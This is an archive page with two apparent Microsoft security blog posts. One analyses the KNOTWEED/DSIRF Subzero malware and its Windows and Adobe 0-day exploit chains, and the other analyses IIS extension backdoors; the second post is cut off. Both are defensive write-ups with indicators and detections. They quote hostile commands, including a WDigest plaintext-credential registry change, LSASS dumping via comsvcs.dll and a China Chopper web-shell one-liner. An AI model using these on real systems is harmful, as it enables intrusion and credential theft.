Archive

Archive for the ‘Microsoft security intelligence’ Category

Untangling KNOTWEED: European private-sector offensive actor using 0-day exploits

The Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Security Response Center (MSRC) found a private-sector offensive actor (PSOA) using multiple Windows and Adobe 0-day exploits, including one for the recently patched CVE-2022-22047, in limited and targeted attacks against European and Central American customers. The PSOA, which MSTIC tracks as KNOTWEED, developed malware called Subzero which was used in these attacks.

This blog details Microsoft’s analysis of the observed KNOTWEED activity and related malware used in targeted attacks against our customers. This information is shared with our customers and industry partners to improve detection of these attacks. Customers are encouraged to expedite deployment of the July 2022 Microsoft security updates to protect their systems against exploits using CVE-2022-22047. Microsoft Defender Antivirus and Microsoft Defender for Endpoint have also implemented detections against KNOTWEED’s malware and tools.

PSOAs, which Microsoft also refers to as cyber mercenaries, sell hacking tools or services through a variety of business models. Two common models for this type of actor are access-as-a-service and hack-for-hire. In access-as-a-service, the actor sells full end-to-end hacking tools that can be used by the purchaser in operations, with the PSOA not involved in any targeting or running of the operation. In hack-for-hire, detailed information is provided by the purchaser to the actor, who then runs the targeted operations. Based on observed attacks and news reports, MSTIC believes that KNOTWEED may blend these models: they sell the Subzero malware to third parties but have also been observed using KNOTWEED-associated infrastructure in some attacks, suggesting more direct involvement.

Who is KNOTWEED?

KNOTWEED is an Austria-based PSOA named DSIRF. The DSIRF website [web archive link] says they provide services “to multinational corporations in the technology, retail, energy and financial sectors” and that they have “a set of highly sophisticated techniques in gathering and analyzing information.” They publicly offer several services including “an enhanced due diligence and risk analysis process through providing a deep understanding of individuals and entities” and “highly sophisticated Red Teams to challenge your company’s most critical assets.”

However, multiple news reports have linked DSIRF to the development and attempted sale of a malware toolset called Subzero. MSTIC found the Subzero malware being deployed through a variety of methods, including 0-day exploits in Windows and Adobe Reader, in 2021 and 2022. As part of our investigation into the utility of this malware, Microsoft’s communications with a Subzero victim revealed that they had not commissioned any red teaming or penetration testing, and confirmed that it was unauthorized, malicious activity. Observed victims to date include law firms, banks, and strategic consultancies in countries such as Austria, the United Kingdom, and Panama. It’s important to note that the identification of targets in a country doesn’t necessarily mean that a DSIRF customer resides in the same country, as international targeting is common.

MSTIC has found multiple links between DSIRF and the exploits and malware used in these attacks. These include command-and-control infrastructure used by the malware directly linking to DSIRF, a DSIRF-associated GitHub account being used in one attack, a code signing certificate issued to DSIRF being used to sign an exploit, and other open-source news reports attributing Subzero to DSIRF.

Observed actor activity

KNOTWEED initial access

MSTIC found KNOTWEED’s Subzero malware deployed in a variety of ways. In the succeeding sections, the different stages of Subzero are referred to by their Microsoft Defender detection names: Jumplump for the persistent loader and Corelump for the main malware.

KNOTWEED exploits in 2022

In May 2022, MSTIC found an Adobe Reader remote code execution (RCE) and a 0-day Windows privilege escalation exploit chain being used in an attack that led to the deployment of Subzero. The exploits were packaged into a PDF document that was sent to the victim via email. Microsoft was not able to acquire the PDF or Adobe Reader RCE portion of the exploit chain, but the victim’s Adobe Reader version was released in January 2022, meaning that the exploit used was either a 1-day exploit developed between January and May, or a 0-day exploit. Based on KNOTWEED’s extensive use of other 0-days, we assess with medium confidence that the Adobe Reader RCE is a 0-day exploit. The Windows exploit was analyzed by MSRC, found to be a 0-day exploit, and then patched in July 2022 as CVE-2022-22047. Interestingly, there were indications in the Windows exploit code that it was also designed to be used from Chromium-based browsers, although we’ve seen no evidence of browser-based attacks.

The CVE-2022-22047 vulnerability is related to an issue with activation context caching in the Client Server Run-Time Subsystem (CSRSS) on Windows. At a high level, the vulnerability could enable an attacker to provide a crafted assembly manifest, which would create a malicious activation context in the activation context cache, for an arbitrary process. This cached context is used the next time the process spawned.

CVE-2022-22047 was used in KNOTWEED related attacks for privilege escalation. The vulnerability also provided the ability to escape sandboxes (with some caveats, as discussed below) and achieve system-level code execution. The exploit chain starts with writing a malicious DLL to disk from the sandboxed Adobe Reader renderer process. The CVE-2022-22047 exploit was then used to target a system process by providing an application manifest with an undocumented attribute that specified the path of the malicious DLL. Then, when the system process next spawned, the attribute in the malicious activation context was used, the malicious DLL was loaded from the given path, and system-level code execution was achieved.

It’s important to note that exploiting CVE-2022-22047 requires attackers to be able to write a DLL to disk. However, in the threat model of sandboxes, such as that of Adobe Reader and Chromium, the ability to write out files where the attacker cannot control the path isn’t considered dangerous. Hence, these sandboxes aren’t a barrier to the exploitation of CVE-2022-22047.

KNOTWEED exploits in 2021

In 2021, MSRC received a report of two Windows privilege escalation exploits (CVE-2021-31199 and CVE-2021-31201) being used in conjunction with an Adobe Reader exploit (CVE-2021-28550), all of which were patched in June 2021. MSTIC was able to confirm the use of these in an exploit chain used to deploy Subzero.

We were later able to link the deployment of Subzero to a fourth exploit, one related to a Windows privilege escalation vulnerability in the Windows Update Medic Service (CVE-2021-36948), which allowed an attacker to force the service to load an arbitrary signed DLL. The malicious DLL used in the attacks was signed by ‘DSIRF GmbH’.

A screenshot of the digital signature details tab from the file properties page. The tab states that the digital signature for the file is OK. The name indicated under the signer information portion is DSIRF GmbH.
Figure 1. Valid digital signature from DSIRF on Medic Service exploit DLL

Malicious Excel documents

In addition to the exploit chains, another method of access that led to the deployment of Subzero was an Excel file masquerading as a real estate document. The file contained a malicious macro that was obfuscated with large chunks of benign comments from the Kama Sutra, string obfuscation, and use of Excel 4.0 macros.

Two screenshots of macro code snippet, presenting different examples of how the macro is obfuscated to evade detection. In the first code snippet, text from the Kama Sutra is inserted among the macro code. The second code snippet presents the code of a function where the attacker uses Excel 4 macro for obfuscation.
Figure 2: Two examples of KNOTWEED Excel macro obfuscation

After de-obfuscating strings at runtime, the VBA macro uses the ExecuteExcel4Macro function to call native Win32 functions to load shellcode into memory allocated using VirtualAlloc. Each opcode is individually copied into a newly allocated buffer using memset before CreateThread is called to execute the shellcode.

A screenshot of a code snippet where the malware copies opcode to a newly allocated buffer.
Figure 3: Copying opcodes
A screenshot of a code snippet where the malware calls the CreateThread function to execute the shellcode.
Figure 4: Calling CreateThread on shellcode

The following section describes the shellcode executed by the macro.

KNOTWEED malware and tactics, techniques, and procedures (TTPs)

Corelump downloader and loader shellcode

The downloader shellcode is the initial shellcode executed from either the exploit chains or malicious Excel documents. The shellcode’s purpose is to retrieve the Corelump second-stage malware from the actor’s command-and-control (C2) server. The downloader shellcode downloads a JPEG image that contains extra encrypted data appended to the end of the file (past the 0xFF 0xD9 marker that signifies the end of a JPEG file). The JPEG is then written to the user’s %TEMP% directory.

Figure 5: One of the images embedded with the loader shellcode and Corelump

The downloader shellcode searches for a 16-byte marker immediately following the end of JPEG. After finding the marker, the downloader shellcode RC4 decrypts the loader shellcode using the next 16 bytes as the RC4 key. Finally, the loader shellcode RC4 decrypts the Corelump malware using a second RC4 key and manually loads it into memory.

Corelump malware

Corelump is the main payload and resides exclusively in memory to evade detection. It contains a variety of capabilities including keylogging, capturing screenshots, exfiltrating files, running a remote shell, and running arbitrary plugins downloaded from KNOTWEED’s C2 server.

As part of installation, Corelump makes copies of legitimate Windows DLLs and overwrites sections of them with malicious code. As part of this process, Corelump also modifies the fields in the PE header to accommodate the nefarious changes, such as adding new exported functions, disabling Control Flow Guard, and modifying the image file checksum with a computed value from CheckSumMappedFile. These trojanized binaries (Jumplump) are dropped to disk in C:\Windows\System32\spool\drivers\color\, and COM registry keys are modified for persistence (see the Behaviors section for more information on COM hijacking).

Jumplump loader

Jumplump is responsible for loading Corelump into memory from the JPEG file in the %TEMP% directory. If Corelump is not present, Jumplump attempts to download it again from the C2 server. Both Jumplump and the downloader shellcode are heavily obfuscated to make analysis difficult, with most instructions being followed by a jmp to another instruction/jmp combination, giving a convoluted control flow throughout the program.

A screenshot of assembly code presenting the jmp/instruction obfuscation used in Jumplump malware.
Figure 6: Disassembly showing the jmp/instruction obfuscation used in Jumplump

Mex and PassLib

KNOTWEED was also observed using the bespoke utility tools Mex and PassLib. These tools are developed by KNOTWEED and bear capabilities that are derived from publicly available sources. Mex, for example, is a command-line tool containing several red teaming or security plugins copied from GitHub (listed below):

Chisel mimikatz SharpHound3
Curl Ping Castle SharpOxidResolver
Grouper2 Rubeus PharpPrinter
Internal Monologue SCShell SpoolSample
Inveigh Seatbelt StandIn
Lockless SharpExec  

PassLib is a custom password stealer tool capable of dumping credentials from a variety of sources including web browsers, email clients, LSASS, LSA secrets, and the Windows credential manager.

Post-compromise actions

In victims where KNOTWEED malware had been used, a variety of post-compromise actions were observed:

  • Setting of UseLogonCredential to “1” to enable plaintext credentials:
    • reg  add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • Credential dumping via comsvcs.dll:
    • rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump
  • Attempt to access emails with dumped credentials from a KNOTWEED IP address
  • Using Curl to download KNOTWEED tooling from public file shares such as vultrobjects[.]com
  • Running PowerShell scripts directly from a GitHub gist created by an account associated with DSIRF

KNOTWEED infrastructure connections to DSIRF

Pivoting off a known command-and-control domain identified by MSTIC, acrobatrelay[.]com, RiskIQ expanded the view of KNOTWEED’s attack infrastructure. Leveraging unique patterns in the use of SSL certificates and other network fingerprints specific to the group and associated with that domain, RiskIQ identified a host of additional IP addresses under the control of KNOTWEED.  This infrastructure, largely hosted by Digital Ocean and Choopa, has been actively serving malware since at least February of 2020 and continues through the time of this writing.

RiskIQ next utilized passive DNS data to determine which domains those IPs resolved to at the time they were malicious. This process yielded several domains with direct links to DSIRF, including demo3[.]dsirf[.]eu (the company’s own website), and several subdomains that appear to have been used for malware development, including debugmex[.]dsirflabs[.]eu (likely a server used for debugging malware with the bespoke utility tool Mex) and szstaging[.]dsirflabs[.]eu (likely a server used to stage Subzero malware).

Detection and prevention

Microsoft will continue to monitor KNOTWEED activity and implement protections for our customers. The current detections and IOCs detailed below are in place and protecting Microsoft customers across our security products. Additional advanced hunting queries are also provided below to help organizations extend their protections and investigations of these attacks.

Behaviors

Corelump drops the Jumplump loader DLLs to C:\Windows\System32\spool\drivers\color\. This is a common directory used by malware as well as some legitimate programs, so writes of PE files to the folder should be monitored.

Jumplump uses COM hijacking for persistence, modifying COM registry keys to point to the Jumplump DLL in C:\Windows\System32\spool\drivers\color\. Modifications of default system CLSID values should be monitored to detect this technique (e.g., HKLM\SOFTWARE\Classes\CLSID\{GUID}\InProcServer32 Default value). The five CLSIDs used by Jumplump are listed below with their original clean values on Windows 11:

  • {ddc05a5a-351a-4e06-8eaf-54ec1bc2dcea} = “%SystemRoot%\System32\ApplicationFrame.dll
  • {1f486a52-3cb1-48fd-8f50-b8dc300d9f9d} = “%SystemRoot%\system32\propsys.dll
  • {4590f811-1d3a-11d0-891f-00aa004b2e24} = “%SystemRoot%\system32\wbem\wbemprox.dll
  • {4de225bf-cf59-4cfc-85f7-68b90f185355} = “%SystemRoot%\system32\wbem\wmiprvsd.dll
  • {F56F6FDD-AA9D-4618-A949-C1B91AF43B1A} = “%SystemRoot%\System32\Actioncenter.dll

Many of the post-compromise actions can be detected based on their command lines. Customers should monitor for possible malicious activity such as PowerShell executing scripts from internet locations, modification of commonly abused registry keys such as HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, and LSASS credential dumping via minidumps.

Recommended customer actions

The techniques used by the actor and described in the Observed actor activity section can be mitigated by adopting the security considerations provided below:

  • All customers should prioritize patching of CVE-2022-22047.
  • Confirm that Microsoft Defender Antivirus is updated to security intelligence update 1.371.503.0 or later to detect the related indicators.
  • Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion.
  • Change Excel macro security settings to control which macros run and under what circumstances when you open a workbook. Customers can also stop malicious XLM or VBA macros by ensuring runtime macro scanning by Antimalware Scan Interface (AMSI) is on. This feature—enabled by default—is on if the Group Policy setting for Macro Run Time Scan Scope is set to “Enable for All Files” or “Enable for Low Trust Files”.
  • Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity. Note: Microsoft strongly encourages all customers download and use password-less solutions like Microsoft Authenticator to secure accounts.
  • Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.

Indicators of compromise (IOCs)

The following list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. All sample hashes are available in VirusTotal.

Indicator Type Description
78c255a98003a101fa5ba3f49c50c6922b52ede601edac5db036ab72efc57629 SHA-256 Malicious Excel document and VBA
0588f61dc7e4b24554cffe4ea56d043d8f6139d2569bc180d4a77cf75b68792f SHA-256 Malicious Excel document and VBA
441a3810b9e89bae12eea285a63f92e98181e9fb9efd6c57ef6d265435484964 SHA-256 Jumplump malware
cbae79f66f724e0fe1705d6b5db3cc8a4e89f6bdf4c37004aa1d45eeab26e84b SHA-256 Jumplump malware
fd6515a71530b8329e2c0104d0866c5c6f87546d4b44cc17bbb03e64663b11fc SHA-256 Jumplump malware
5d169e083faa73f2920c8593fb95f599dad93d34a6aa2b0f794be978e44c8206 SHA-256 Jumplump malware
7f29b69eb1af1cc6c1998bad980640bfe779525fd5bb775bc36a0ce3789a8bfc SHA-256 Jumplump malware
02a59fe2c94151a08d75a692b550e66a8738eb47f0001234c600b562bf8c227d SHA-256 Jumplump malware
7f84bf6a016ca15e654fb5ebc36fd7407cb32c69a0335a32bfc36cb91e36184d SHA-256 Jumplump malware
afab2e77dc14831f1719e746042063a8ec107de0e9730249d5681d07f598e5ec SHA-256 Jumplump malware
894138dfeee756e366c65a197b4dbef8816406bc32697fac6621601debe17d53 SHA-256 Jumplump malware
4611340fdade4e36f074f75294194b64dcf2ec0db00f3d958956b4b0d6586431 SHA-256 Jumplump malware
c96ae21b4cf2e28eec222cfe6ca903c4767a068630a73eca58424f9a975c6b7d SHA-256 Corelump malware
fa30be45c5c5a8f679b42ae85410f6099f66fe2b38eb7aa460bcc022babb41ca SHA-256 Mex tool
e64bea4032cf2694e85ede1745811e7585d3580821a00ae1b9123bb3d2d442d6 SHA-256 Passlib tool
acrobatrelay[.]com Domain C2
finconsult[.]cc Domain C2
realmetaldns[.]com Domain C2

NOTE: These indicators should not be considered exhaustive for this observed activity.

Detections

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects the malware tools and implants used by KNOTWEED starting with signature build  1.371.503.0 as the following family names:

  • Backdoor:O97M/JumplumpDropper
  • Trojan:Win32/Jumplump
  • Trojan:Win32/Corelump
  • HackTool:Win32/Mexlib
  • Trojan:Win32/Medcerc
  • Behavior:Win32/SuspModuleLoad

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint customers may see the following alerts as an indication of a possible attack. These alerts are not necessarily an indication of KNOTWEED compromise:

  • COM Hijacking – Detects multiple behaviors, including JumpLump malware persistence techniques.
  • Possible privilege escalation using CTF module – Detects a possible privilege escalation behavior associated with CVE-2022-2204; also detects an attempt to perform local privilege escalation by launching an elevated process and loading an untrusted module to perform malicious activities
  • KNOTWEED actor activity detected – Detects KNOTWEED actor activities
  • WDigest configuration change – Detects potential retrieval of clear text password from changes to UseLogonCredential registry key
  • Sensitive credential memory read – Detects LSASS credential dumping via minidumps
  • Suspicious Curl behavior – Detects the use of Curl to download KNOTWEED tooling from public file shares
  • Suspicious screen capture activity – Detects Corelump behavior of capturing screenshots of the compromised system

Hunting queries

Microsoft Sentinel

The following resources are available to Microsoft Sentinel customers to identify the activity outlined in the blog post.

Microsoft Defender Antivirus detections related to KNOTWEED

This query identifies occurrences of Microsoft Defender Antivirus detections listed in this blog post:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/KNOTWEEDAVDetection.yaml

File hash IOCs related to KNOTWEED

This query identifies matches based on file hash IOCs related to KNOTWEED across a range of common Microsoft Sentinel data sets:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/KNOTWEEDFileHashesJuly2022.yaml

Domain IOCs related to KNOTWEED

This query identifies matches based on domain IOCs related to KNOTWEED across a range of common Microsoft Sentinel data sets:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/KNOTWEEDC2DomainsJuly2022.yaml

COM registry key modified to point to Color Profile folder

This query identifies modifications to COM registry keys to point to executable files in C:\Windows\System32\spool\drivers\color\:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/COMRegistryKeyModifiedtoPointtoFileinColorDrivers.yaml

PE file dropped in Color Profile folder

This query looks for PE files being created in the C:\Windows\System32\spool\drivers\color\ folder:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/DeviceFileEvents/PEfiledroppedinColorDriversFolder.yaml

Abnormally large JPEG downloaded from new source

This query looks for downloads of JPEG files from remote sources, where the file size is abnormally large, and not from a common source:

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/CommonSecurityLog/AbnormallyLargeJPEGFiledDownloadedfromNewSource.yaml

Downloading new file using Curl

This query looks for new files being downloaded using Curl.

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/MultipleDataSources/DownloadofNewFileUsingCurl.yaml

Suspected credential dumping

This query looks for attackers using comsvcs.dll to dump credentials from memory

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/SecurityEvent/SuspectedLSASSDump.yaml

Downgrade to plaintext credentials

This query looks for registry key being set to enabled plain text credentials

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/WDigestDowngradeAttack.yaml

Microsoft 365 Defender advanced hunting

Microsoft 365 Defender customers can run the following advanced hunting queries to locate IOCs and related malicious activity in their environments.

Microsoft Defender Antivirus detections related to KNOTWEED

This query identifies detection of related malware and tools by Microsoft Defender Antivirus:

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/KNOTWEED/KNOTWEED-AVDetections.yaml

File hash IOCs related to KNOTWEED

This query surfaces KNOTWEED file hash IOCs across Microsoft Defender for Endpoint tables:

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/KNOTWEED/KNOTWEED-FileHashIOCsJuly2022.yaml

Domain IOCs related to KNOTWEED

This query identifies matches based on domain IOCs related to KNOTWEED against Microsoft Defender for Endpoint device network connections:

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/KNOTWEED/KNOTWEED-DomainIOCsJuly2022.yaml

COM registry key modified to point to Color Profile folder

This query identifies modifications to COM registry keys to point to executable files in C:\Windows\System32\spool\drivers\color\:

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/KNOTWEED/KNOTWEED-COMRegistryKeyModifiedtoPointtoColorProfileFolder.yaml

PE file dropped in Color Profile folder

This query looks for PE files being created in the C:\Windows\System32\spool\drivers\color\ folder:

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/KNOTWEED/KNOTWEED-PEFileDroppedinColorProfileFolder.yaml

Downloading new file using Curl

This query looks for new files being downloaded using Curl.

https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/KNOTWEED/KNOTWEED-DownloadingnewfileusingCurl.yaml

The post Untangling KNOTWEED: European private-sector offensive actor using 0-day exploits appeared first on Microsoft Security Blog.

Malicious IIS extensions quietly open persistent backdoors into servers

July 26th, 2022 No comments

Attackers are increasingly leveraging Internet Information Services (IIS) extensions as covert backdoors into servers, which hide deep in target environments and provide a durable persistence mechanism for attackers. While prior research has been published on specific incidents and variants, little is generally known about how attackers leverage the IIS platform as a backdoor.

Malicious IIS extensions are less frequently encountered in attacks against servers, with attackers often only using script web shells as the first stage payload. This leads to a relatively lower detection rate for malicious IIS extensions compared to script web shells. IIS backdoors are also harder to detect since they mostly reside in the same directories as legitimate modules used by target applications, and they follow the same code structure as clean modules. In most cases, the actual backdoor logic is minimal and cannot be considered malicious without a broader understanding of how legitimate IIS extensions work, which also makes it difficult to determine the source of infection.

Typically, attackers first exploit a critical vulnerability in the hosted application for initial access before dropping a script web shell as the first stage payload. At a later point in time, the attackers then install an IIS backdoor to provide highly covert and persistent access to the server. Attackers can also install customized IIS modules to fit their purposes, as we observed in a campaign targeting Exchange servers between January and May 2022, as well as in our prior research on the custom IIS backdoors ScriptModule.dll and App_Web_logoimagehandler.ashx.b6031896.dll. Once registered with the target application, the backdoor can monitor incoming and outgoing requests and perform additional tasks, such as running remote commands or dumping credentials in the background as the user authenticates to the web application.

As we expect attackers to continue to increasingly leverage IIS backdoors, it’s vital that incident responders understand the basics of how these attacks function to successfully identify and defend against them. Organizations can further improve their defenses with Microsoft 365 Defender, whose protection capabilities are informed by research like this and our unique visibility into server attacks and compromise. With critical protection features like threat and vulnerability management and antivirus capabilities, Microsoft 365 Defender provides organizations with a comprehensive solution that coordinates protection across domains, spanning email, identities, cloud, and endpoints.

In this blog post, we detail how IIS extensions work and provide insight into how they are being leveraged by attackers as backdoors. We also share some of our observations on the IIS threat landscape over the last year to help defenders identify and protect against this threat and prepare the larger security community for any increased sophistication. More specifically, the blog covers the following topics:

Understanding IIS extensions

IIS is a flexible, general purpose web server that has been a core part of the Windows platform for many years now. As an easy-to-manage, modular, and extensible platform for hosting websites, services, and applications, IIS serves critical business logic for numerous organizations. The modular architecture of IIS allows users to extend and customize web servers according to their needs. These extensions can be in the form of native (C/C++) and managed (C#, VB.NET) code structures, with the latter being our focus on this blog post. The extensions can further be categorized as modules and handlers.

The IIS pipeline is a series of extensible objects that are initiated by the ASP.NET runtime to process a request. IIS modules and handlers are .NET components that serve as the main points of extensibility in the pipeline. Each request is processed by multiple IIS modules before being processed by a single IIS handler. Like a set of building blocks, modules and handlers are added to provide the desired functionality for the target application. In addition, handlers can be configured to respond to specific attributes in the request such a URL, file extension, and HTTP method. For example, Aspnet_isapi.dll is a pre-configured IIS handler for common .aspx extensions.

Creating custom managed IIS modules

To create a managed IIS module, the code must implement the IHttpModule interface. The IHttpModule interface has two methods with the following signatures: Init() and Dispose().

Graphical user interface, text, application
Figure 1. IIS module skeleton

Inside Init(), the module can synchronize with any number of HTTP events available in the request pipeline, listed here in sequential order:

  • BeginRequest
  • AuthenticateRequest
  • AuthorizeRequest
  • ResolveRequestCache
  • AcquireRequestState
  • PreRequestHandlerExecute
  • PostRequestHandlerExecute
  • ReleaseRequestState
  • UpdateRequestCache
  • EndRequest
  • PreSendRequestHeaders
  • PreSendRequestContent

The newly created extension should then be mapped with the target application to complete the registration. Generally, there are several methods that can be used to map managed modules for legitimate purposes. On the other hand, we observed that attackers used the following techniques to register malicious IIS extensions during attacks:

Register with global assembly cache (GAC) PowerShell API: Every device with Common Language Runtime (CLR) hosts a device-wide cache called the global assembly cache (GAC). The GAC stores assemblies specifically designated to be shared by several applications on the device. GacInstall() is a PowerShell API to add modules into the global cache. Once installed, the module is available under the path %windir%\Microsoft.NET\assembly and is mapped to IIS (w3wp.exe) using appcmd.exe.

Text of attacker's command
Figure 2. Attacker command using the GAC PowerShell API

Register using appcmd.exe: Appcmd.exe is the single command line tool for managing IIS. All critical aspects, such as adding or removing modules and handlers, can be performed using the utility. In this case, the attackers drop the malicious extension in the target application’s /bin folder and map it using the add module command.

Text of attacker's command
Figure 3. Attacker command using appcmd.exe

Register using gacutil.exe: Gacutil.exe is a Visual Studio shipped .NET GAC utility. The tool allows the user to view and manipulate the contents of the GAC, including installing new modules using the -I option.

Text of attacker's command
Figure 4. Attacker command using gacutil.exe

Register using web.config: After dropping the module in the application’s /bin folder, attackers can also edit the web.config of the target application or the global config file, applicationHost.config, to register the module.

Text of attacker's command
Figure 5. Malicious web.config entry

Upon successful registration, the module is visible inside the IIS manager application.

IIS manager app with installed module
Figure 6. Installed module visible in the list

Attack flow using a custom IIS backdoor

Between January and May 2022, our IIS-related detections picked up an interesting campaign targeting Microsoft Exchange servers. Web shells were dropped in the path %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\ via ProxyShell exploit.

After a period of doing reconnaissance, dumping credentials, and establishing a remote access method, the attackers installed a custom IIS backdoor called FinanceSvcModel.dll in the folder C:\inetpub\wwwroot\bin\. The backdoor had built-in capability to perform Exchange management operations, such as enumerating installed mailbox accounts and exporting mailboxes for exfiltration, as detailed below.  

Command runs

PowerShDLL toolkit, an open-source project to run PowerShell without invoking powershell.exe, was used to run remote commands. The attacker avoided invoking common living-off-the-land binaries (LOLBins), such as cmd.exe or powershell.exe in the context of the Exchange application pool (MSExchangeOWAAppPool) to evade related detection logic.

Attacker's command via PowerShDLL toolkit
Figure 7. Using PowerShDLL to run remote commands

Credential access

The attackers enabled WDigest registry settings, which forced the system to use WDigest protocol for authentication, resulting in lsass.exe retaining a copy of the user’s plaintext password in memory. This change allowed the attackers to steal the actual password, not just the hash. Later, Mimikatz was run to dump local credentials and perform a DCSYNC attack.

Attacker command to steal user's password
Figure 8. Mimikatz usage

Remote access

The attackers used plink.exe, a command-line connection tool like SSH. The tool allowed the attackers to bypass network restrictions and remotely access the server through tunneled RDP traffic.

Attacker command to bypass network restrictions
Figure 9. Bypassing network restrictions

Exfiltration

The attacker invoked the IIS backdoor by sending a crafted POST request with a cookie EX_TOKEN. The module extracts the cookie value and initiates a mailbox export request with the supplied filter.

Attacker's POST request
Figure 10. Attacker-generated POST request

The value decodes to: ep,06/21/2022,06/21/2022,C:\Windows\Web,Administrator, where ep is the command to initiate the mailbox export request with filters determining the start and end dates followed by the export path. The final command has the following syntax:

Attacker's mailbox export request
Figure 11. Attacker-generated mailbox export request
Code snippet
 Figure 12. Mailbox export code snippet

The table below details all the commands found in the backdoor:

Command Description
test Attempts to load Exchange Management Shell (EMS)- Add-PSSnapin Microsoft.Exchange.Management.Powershell.SnapIn
box List all UserPrincipalNames-  foreach ($name in Get-Mailbox -ResultSize unlimited){ Write-Output $name.UserPrincipalName}
ep Run New-MailboxExportRequest cmdlet with supplied mailbox name, start and end date, and export path as filters.
gep Get the task ID associated with the export request
ruh Tamper with Exchange logs

Types of IIS backdoors

Reviewing the malicious managed (.NET) IIS extensions observed over the past year, we grouped these extensions based on various factors such as similar capabilities and sources of origin, as further detailed in the below sections. 

Web shell-based variants

Web shells like China Chopper have been widely used in numerous targeted attacks. As China Chopper’s usage increased over the years, so did the detections. As a result, the attackers evolved and added IIS module-based versions of these web shells that maintain the same functionality. The module uses the same eval() technique that’s used in the script version for running the code. While most antivirus solutions would detect the one-liner web shell, such as < %@page language=js%><%eval(request.item(<password>),”unsafe”);%>, embedding the same code in an IIS module generates lower detection rates.

In the module version, the attacker-initiated POST request contains the code along with the arguments in parameters z1 and z2, like the script-based version.

China Chopper code snippet
Figure 13. China chopper IIS module – version 1
Attacker's POST request
Figure 14. Attacker generated POST data – version 1

In a different version, the module has the backdoor logic hardcoded inside the DLL and only waits for parameters z1 and z2. The parameter kfaero has the command exposed as sequential alphabets from ‘A-Q’.

China Chopper code snippet
Figure 15. China chopper IIS module – version 2

Like the script version, the IIS module has similar capabilities, such as listing and creating directories, downloading and uploading files, running queries using SQL adaptors, and running commands. To run commands, the attacker-initiated POST request contains the command “M” along with the arguments.

Attacker's POST request
Figure 16. An example of an attacker generated POST data – version 2

Antsword is another popular web shell widely used in various targeted attacks. Custom IIS modules inspired from the web shell’s code have been observed in the wild, which include similar architecture and capabilities. Interesting new features of these malicious modules include fileless execution of C# code and remote access via TCP socket connection.

Antsword module code snippet
Figure 17. Antsword IIS module code snippet

Based on the request, the module can take one of the two code paths. In case of /server-status, a socket connection is initiated from values in the custom header Lhposzrp.

Command Description
FSoaij7_03Ip3QuzbIhvuilKIsoM9a48DTkvQKdwtKNA Socket connection
8CDztbQb4fsQeU5AAuBs9OmRokoyFJ7F5Z Close connection
31FKvk8VDcqZMA3iAq3944wjg Send data
TU_LDzOsv Receive data

For any other URL, the module follows a China Chopper-style architecture of commands, ranging from “A” through “R”. The additional “R” command allows the attackers to run C# code reflectively.

Command to invoke code reflectively
Figure 18. Command “R” to invoke code reflectively

Open-source variants

GitHub projects on creating backdoors for IIS have been available for some time now. Though mostly shared to educate the red team community, threat actors have also taken interest and lifted code from these projects. Using a public project that has been actively leveraged by attackers as an example, the original code includes the following capabilities:

Command Implementation
cmd Run command via cmd.exe /c
powershell Run powershell via RunspaceFactory.CreateRunspace()
shellcode Inject supplied shellcode into userinit.exe

In this case, the in-the-wild variants change the cookie names, keeping the rest of the code intact:

Comparison of public GitHub project's code (left) to the attacker's modified code (right)
Figure 19. Side to side comparison of code from an open-source project (left) and code used by attackers (right)

On supplying a whoami command to the backdoor, the generated cookie has the following format:

Cookie: BDUSS=P6zUsk/1xJyW4PPufWsx5w==

The backdoor responds with an AES encrypted blob wrapped in base64. The decoded output has the following format:

Server's decoded response
Figure 20. Decoded response from the server

IIS handlers

As mentioned earlier, IIS handlers have the same visibility as modules into the request pipeline. Handlers can be configured to respond to certain extensions or requests. To create a managed IIS handler, the code must implement the IHttpHandler interface. The IHttpHandler interface has one method and one property with the following signatures:

IIS handler skeleton
Figure 21. IIS handler skeleton

Handlers can be registered by directly editing the web.config file or using the appcmd utility. The handler config takes a few important fields like path, which specifies the URL or extensions the handler should respond to, and verb, which specifies the HTTP request type. In the example below, the handler only responds to image requests ending with a .gif extension:

Attacker's malicious entry
Figure 22. Malicious web.config entry

The handler is visible in the IIS manager application once successfully installed:

Installed handler visible in IIS manager app
Figure 23. Installed handler visible in the list

Most of the handlers analyzed were relatively simple, only including the capability to run commands:

Commands running via cmd.exe
Figure 24. IIS handler running commands via cmd.exe

Interestingly, the response Content-Type is set to image/gif or image/jpeg, which presents a default image when browsing the image URL with the output hidden in <pre> tags. A possible reason for this could be to bypass network inspection since image files are generally considered non-malicious and are filtered and identified based on extensions.

Credential stealers

